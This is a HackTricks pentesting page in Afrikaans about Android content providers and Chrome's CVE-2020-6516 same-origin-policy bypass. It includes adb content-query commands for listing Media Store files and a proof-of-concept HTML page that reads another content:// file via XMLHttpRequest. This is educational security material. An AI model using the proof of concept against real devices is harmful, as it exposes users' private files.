hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

5.9 KiB

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

{% embed url="https://websec.nl/" %}

Dit is 'n opsomming van die pos https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Lys van Lêers in Media Store

Om lêers wat deur die Media Store bestuur word, te lys, kan die volgende bevel gebruik word:

$ content query --uri content://media/external/file

Vir 'n meer mensvriendelike uitset, vertoon slegs die identifiseerder en pad van elke geïndekseerde lêer:

$ content query --uri content://media/external/file --projection _id,_data

Chrome se Toegang tot Inhoudsverskaffers

Chrome op Android kan toegang verkry tot inhoudsverskaffers deur die content:// skema, wat dit in staat stel om hulpbronne soos foto's of dokumente wat deur derdeparty-toepassings uitgevoer is, te benader. Om dit te illustreer, kan 'n lêer in die Mediaversameling ingevoeg word en daarna via Chrome benader word:

Voeg 'n aangepaste inskrywing by die Mediaversameling in:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Ontdek die identifiseerder van die nuut ingevoegde lêer:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Die lêer kan dan in Chrome besigtig word deur 'n URL te gebruik wat saamgestel is met die lêer se identifiseerder.

Byvoorbeeld, om lêers wat verband hou met 'n spesifieke aansoek te lys:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Selfde-Oorsprong-Beleid-Omleiding

Die Selfde Oorsprong Beleid (SOP) is 'n sekuriteitsprotokol in webblaaier wat beperk dat webbladsye kan interakteer met bronne van verskillende oorsprong tensy dit uitdruklik toegelaat word deur 'n Cross-Oorsprong-Bron-Deling (CORS) beleid. Hierdie beleid is daarop gemik om informasie lekke en kruis-webwerfversoekvervalsing te voorkom. Chrome beskou content:// as 'n plaaslike skema, wat impliseer dat strenger SOP-reëls geld, waar elke plaaslike skema URL as 'n afsonderlike oorsprong beskou word.

Nietemin was CVE-2020-6516 'n kwesbaarheid in Chrome wat 'n omleiding van SOP-reëls vir bronne wat gelaai is via 'n content:// URL toegelaat het. In werklikheid kon JavaScript-kode vanaf 'n content:// URL toegang verkry tot ander bronne wat gelaai is via content:// URL's, wat 'n beduidende sekuriteitskwessie was, veral op Android-toestelle wat weergawes vroër as Android 10 hardloop, waar omvangbeheer nie geïmplementeer was nie.

Die bewys-van-konsep hieronder demonstreer hierdie kwesbaarheid, waar 'n HTML-dokument, nadat dit onder /sdcard geüpload is en by die Media Store gevoeg is, XMLHttpRequest in sy JavaScript gebruik om die inhoud van 'n ander lêer in die Media Store te benader en te vertoon, terwyl die SOP-reëls omseil word.

Bewys-van-Konsep HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

{% embed url="https://websec.nl/" %}

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: